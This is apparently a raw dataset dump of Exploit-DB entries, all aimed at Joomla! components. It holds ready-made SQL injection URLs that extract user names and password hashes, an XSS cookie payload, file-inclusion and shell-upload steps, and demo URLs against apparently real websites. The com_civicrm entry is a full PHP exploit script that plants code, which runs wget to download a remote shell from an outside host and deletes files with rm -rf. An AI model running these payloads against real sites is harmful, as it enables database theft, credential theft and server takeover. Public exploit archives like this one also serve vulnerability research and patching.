deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12615
Description: Joomla! Component com_camp - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-15
Author: Kernel Security Group

Exploit:
[+] Title : Joomla Component com_camp SQL Injection Vulnerability
[+] Author: Kernel Security Group
[+] Data  : 2010-05-15

[!]#####################################################################################################[!]
 
[+] Title     : Joomla Component com_camp SQL Injection Vulnerability
[+] Author    : Kernel Security Group By D3v1l.blackhat
[+] Homepage  : http://www.KernelSec.com
[+] Email     : Info@KernelSec.com
 
[!]#####################################################################################################[!]
 
[+] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_camp&task=show&cid=[SQL]
 
[+] ExploiT         :
 
-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14--
 
[+] Example         :
 
http://127.0.0.1/index.php?option=com_camp&task=show&cid=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14--

[+] Demo            :

http://[site]/index.php?option=com_camp&task=show&cid=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14--

  
[!]#####################################################################################################[!]
 
[+] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[+] IRANIAN Young HackerZ
 
[+] GreetZ : Exploit-DB TeaM

[!]#####################################################################################################[!]
Exploit-DB #36472
Description: Joomla! Component com_caproductprices - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-12-20
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/51141/info

Joomla! 'com_caproductprices' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[PATH]/index.php?option=com_caproductprices&Itemid=&task=graph&id=83 (SQL)
Exploit-DB #36595
Description: Joomla! Component com_car - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-01-21
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51620/info

The 'com_car' component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_car&view=product&modelsid=[SQLi]
http://www.example.com/index.php?option=com_car&view=product&task=showAll&markid=[SQLi]
http://www.example.com/index.php?option=com_car&brand_id=[SQLi]
http://www.example.com/index.php?option=com_car&view=product&task=detail&markid=6&modelsid=&cid[]=[SQLi]
http://www.example.com/index.php?option=com_car&view=product&markid=&modelsid=[SQLi]
Exploit-DB #10624
Description: Joomla! Component com_carman - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-24
Author: FL0RiX

Exploit:
< ------------------- header data start ------------------- >

#####################################################################
       Joomla Component com_carman Cross Site Scripting Vulnerability                                          
####################################################################

# author        :Fl0riX
# Greetz          : BARCOD3 , Septemb0x, Deep-Power,DreamPower,Pyske,3kb3r
# Name        : com_carman

# Bug Type       : Cross Site Scripting

# Infection          : Y&#65533;netici ve User cookie&#65533;leri &#65533;al&#65533;nabilir.

# Bug Fix Advice     : Zararl&#65533; karakterler filtrelenmelidir.


#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

/index.php?option=com_carman&msg="><script>alert(document.cookie)</script>

< -- bug code end of -- >
Exploit-DB #10984
Description: Joomla! Component com_cartikads 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-04
Author: kaMtiEz

Exploit:
###################################################################################
                                                                                  #
[~] Joomla components com_cartikads  Remote File Upload vulnerability             #
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)                                    #
[~] Homepage	: http://www.indonesiancoder.com                                  #
[~] Date	: January 02, 2009                                                #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://www.cartikahosting.com
[+] Download : -
[+] version : 1.0
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Price : dunno            
[+] Location : INDONESIA - JOGJA
[+] description : Cartikads is a Mambo Open Source ads management component.

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://server/[kaMtiEz]/components/com_cartikads/uploadimage.php

[ NOTE ]

upload with extension shell.php.jpg

your shell will be

http://server/[kaMtiEz]/images/stories/shell.php.jpg

http://server/[kaMtiEz]/images/banners/shell.php.jpg


===========================================================================

[ Thx TO ]
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Nyak ama babe gua .. tak lupa adik gua ..
[+] tukulesto : where did u go ??
[+] Dengerin Radio yach di http://antisecradio.fm :D

[ QUOTE ]

[+] rm -rf 

[ EOF ]

[+] INDONESIANOCODER TEAM
[+] KILL -9 TEAM
Exploit-DB #10942
Description: Joomla! Component com_cartweberp - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-01-03
Author: FL0RiX

Exploit:
@~~=======================================~~@
@~~=Script   : Joomla Component com_cartweberp

@~~=Author   : FL0RiX

@~~=Greez : Deep-Power ,KaCaK,Wretch-x & All Friends

@~~=Bug Type : Local File Inlusion(LFI)

@~~=Dork : inurl:"com_cartweberp"

@~~=======================================~~@

@~~=Vuln

:http://server/ [Yol] /index.php?option=com_cartweberp&controller=[-LFI-]


< ---- Note ---- >
F....N;
Sen çok üstün zekaya sahip birisin,
emin olabilirsin, :)
Sql injection ile domain hackleyebilen tek lamersin, :)
ASP'de Rfi Bulmakta Birebirsin,
Ama Gördügüm En hIyar Lamersin :D
Bu Kafiyelerde Bi TarafIna Girsin ;)
Lol F....N :)
< ---- Note Finished ---- >
Exploit-DB #11237
Description: Joomla! Component com_casino - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-23
Author: B-HUNT3|2

Exploit:
[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_casino) SQL Injection Vulnerabilities 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost
[~]>> PRE-REQUERIMENTS: Privileged user

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var id is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.0
[~]>> RISK: Low/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOFS OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=category&id=[SQL]
[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=player&id=[SQL]

[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=category&id=-1%27+union+all+select+1,username,password,4,5+from+jos_users/*
[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=player&id=-1%27+union+all+select+1,2,password,email,@@version,database(),user(),username+from+jos_users/*

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #9126
Description: Joomla! Component com_category - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-11
Author: Prince_Pwn3r

Exploit:
###############################################################
# Joomla component 'com_category' SQL injection vulnerability ###########
################################################################
#version: 1.0.12###################################################
################################################################
#dork:inurl:"com_category"##########################################
# ###############################################################
# xploited by Prince_Pwn3r##########################################
################################################################
# contact: 2p0wn0rN0t2p0wn@gmail.com##############################
################################################################

+++++++ greetz to all p0wnbox.com members !!! +++++++
--------------------------------------------------------------------------------------

Vulnerable joomla component : com_category
vulnerable parameter: "edit" ($_GET)

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Exploit :


http://www.site.com/index.php?option=com_category&task=loadCategory&catid*=-9999+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5+from+jos_users--

Demos :

http://www.hendrygroup.com.au/index.php?option=com_category&task=loadCategory&catid=-9999+AND+1=0+union+all+select%201,2,group_concat(username,0x3a,password),4,5+from+jos_users--
or
http://teachandsay.com/index.php?option=com_category&id=12&task=view&color=3&cat_id=-9999+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5+from+jos_users--

*could be different (eg: view&color=3&cat_id=)

# milw0rm.com [2009-07-11]
Exploit-DB #33796
Description: Joomla! Component com_cb - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-23
Author: DevilZ TM

Exploit:
source: https://www.securityfocus.com/bid/38916/info

The 'com_cb' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_cx&task=postview&postid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41--
Exploit-DB #35745
Description: Joomla! Component com_cbcontact - 'contact_id' SQL Injection
Type: webapps
Platform: php
Date: 2011-05-16
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47856/info

The 'com_cbcontact' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_cbcontact&task=vcard&contact_id=-11[SQLi]
http://www.example.com/index.php?option=com_cbcontact&task=view&contact_id=-11[SQLi]
Exploit-DB #24969
Description: Joomla! Component com_civicrm 4.2.2 - Remote Code Injection
Type: webapps
Platform: php
Date: 2013-04-22
Author: iskorpitx

Exploit:
# Exploit Title: joomla component com_civicrm remode code injection exploit
# Google Dork:"Index of /joomla/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart"
# Date: 20/04/2013
# Exploit Author: iskorpitx
# Vendor Homepage: http://civicrm.org
# Software Link: http://civicrm.org/blogs/yashodha/announcing-civicrm-422
# Version: [civicrm 4.2.2]
# Tested on: Win8 Pro x64 
# CVE : http://www.securityweb.org

<?php 
  
# Joomla component com_civicrm OpenFlashCart ofc_upload_image.php remote code injection exploit
# http://www.securityweb.org & http://www.security.biz.tr
# multithreading mass c:\appserv\www>exp.php -u http://target.com/ -f post.php
  
   
  
$options = getopt('u:f:'); 
  
if(!isset($options['u'], $options['f'])) 
die("\n        Usage example: php jnews.php -u http://target.com/ -f post.php\n 
-u http://target.com/    The full path to Joomla! 
-f post.php             The name of the file to create.\n");  
  
$url     =  $options['u']; 
$file    =  $options['f']; 


$shell = "{$url}administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/{$file}"; 
$url   = "{$url}administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name={$file}"; 

  
$data      = '<?php 
 system("wget http://www.securityweb.org/shell.txt; mv shell.txt post.php");
 system("cp post.php ../../../../../../../tmp/post.php");
 system("cd ..; rm -rf tmp-upload-images");
 echo "by iskorpitx" ; 
 fclose ( $handle ); 
 ?>'; 
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 
'Content-Type: text/plain'); 
  
  
echo "        [+] Submitting request to: {$options['u']}\n"; 
  
  
$handle = curl_init(); 
  
curl_setopt($handle, CURLOPT_URL, $url); 
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($handle, CURLOPT_POSTFIELDS, $data); 
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); 
  
$source = curl_exec($handle); 
curl_close($handle); 
  
  
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) 
{ 
echo "        [+] Exploit completed successfully!\n"; 
echo "        ______________________________________________\n\n        {$shell}?cmd=system('id');\n"; 
} 
else
{ 
die("        [+] Exploit was unsuccessful.\n"); 
} 
   
?>
Exploit-DB #11785
Description: Joomla! Component com_ckforms - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-17
Author: ALTBTA

Exploit:
####################################################################
>>>>> Author : altbta [l_9@hotmail.com<mailto:l_9@hotmail.com>]
>>>>> Home : www.v4-team.com/cc<http://www.v4-team.com/cc>
>>>>> Script : Joomla Component com_ckforms
>>>>> Bug Type : Multiple Vulnerabilities
>>>>> Dork : inurl:"com_ckforms"

####################################################################

===[ Exploit ]=== [LFI]

http://site/index.php?option=com_ckforms&controller=[LFI]

===[ Exploit ]=== [sql]

http://site/index.php?option=com_ckforms&controller=ckdata&view=ckformsdata&layout=detail&task=detail&fid=2[sql]

####################################################################
RxH & ab0-3th4b
Exploit-DB #15454
Description: Joomla! Component com_clan - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-08
Author: AtT4CKxT3rR0r1ST

Exploit:
Joomla Component com_clan Sql Injection Vulnerability
==============================================================

http://joomlacode.org/gf/project/com_clan/

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Dork           : inurl:"com_clan"

####################################################################
===[   Bug   ]===

www.site.com/index.php?action=com_clan&cid=185[Sql Injection]

===[ Exploit ]===

185+and+1=2+union+select+1,2,3,4,5,6,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),8

####################################################################
Exploit-DB #15456
Description: Joomla! Component com_clanlist - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-08
Author: CoBRa_21

Exploit:
########################################################################################

Joomla Component (com_clanlist) SQL Injection Vulnerability 

########################################################################################

Author : CoBRa_21

Dork : inurl:com_clanlist


########################################################################################
 
Sql Injection :

http://localhost/[path]/index.php?option=com_clanlist&clanId=-999 union select version()

########################################################################################

Thanks cyber-warrior.org  & AKINCILAR 

########################################################################################
Exploit-DB #35294
Description: Joomla! Component com_clan_members - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-01
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/46080/info

The 'com_clan_members' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_clan_members&id=[EXPLOIT]
Exploit-DB #5146
Description: Joomla! Component com_clasifier - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-18
Author: S@BUN

Exploit:
###############################################################
#
# joomla SQL Injection(com_clasifier)
#
###############################################################
#
# AUTHOR : S@BUN
#
 HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: com_clasifier
#
# DORK 2 : allinurl: com_clasifier cat_id
#
################################################################
EXPLOIT :

index.php?option=com_clasifier&Itemid=S@BUN&cat_id=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*


################################################################
# S@BUN             i AM NOT HACKER             S@BUN
################################################################

# milw0rm.com [2008-02-18]
Exploit-DB #36646
Description: Joomla! Component com_cmotour - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-28
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51779/info

The 'com_cmotour' component for Joomla! is prone to an SQL injection vulnerability.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?index.php?option=com_cmotour&task=cat&Itemid=xxx&id=[SQL Injection]
Exploit-DB #24228
Description: Joomla! Component com_collector - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-01-19
Author: Red Dragon_al

Exploit:
# Exploit Title:Joomla com_collecter shell upload
# Author: Red Dragon_al (Alb0zZ Team)
# Home :HackForums.AL,alb0zz.in
# Date :19/01/2013

# Category:: web apps
# Google dork: [inurl:index.php?option=com_collector]
# Tested on: Windows XP

# Download: http://www.steevo.fr/en/download
# Home Page: http://www.steevo.fr/

---------------------------------------
#      ~ Expl0itation ~      #
---------------------------------------

1- Google dork: [inurl:index.php?option=com_collector]

2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1

3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1

upload ur shell as : shell.php


                                           
# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends.

#2013
Exploit-DB #11693
Description: Joomla! Component com_color - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-11
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_color SQL Injection Vulnerability 
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@yahoo.com
 
[~]######################################### ExploiT #################################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_color&view=color&l=[SQL]
 
[~] ExploiT         :
 
-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8/**/FROM/**/jos_users/*
 
[~] Demo            :

http://server/index.php?option=com_color&view=color&l=-1/**/UNION/**/SELECT/**/1,2,3,4,concat(username,0xa,password),6,7,8/**/FROM/**/jos_users/*
 
 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]######################################## FinisH :D #################################################[~]
Exploit-DB #4524
Description: Joomla! Component com_colorlab 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-12
Author: Mehmet Ince

Exploit:
--------------------

Joomla com_colorlab Remote File Include

--------------------

Found : xoron

--------------------

Download:
http://download.joomlaportal.ch/content/view/474/

--------------------

Wrong Code:
include( "$mosConfig_live_site/components/com_color/about.html" );

--------------------

Exploit:
/administrator/components/com_color/admin.color.php?mosConfig_live_site=shell?

--------------------

How to Fix:
1-open admin.colo.php
2-write this codes before wrong codes

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

3-save and exit

--------------------

Thanx: mdx :)

--------------------

# milw0rm.com [2007-10-12]
Exploit-DB #36015
Description: Joomla! Component com_community - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2011-08-03
Author: Ne0 H4ck3R

Exploit:
source: https://www.securityfocus.com/bid/48983/info

The 'com_community' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_community&view=profile&userid=156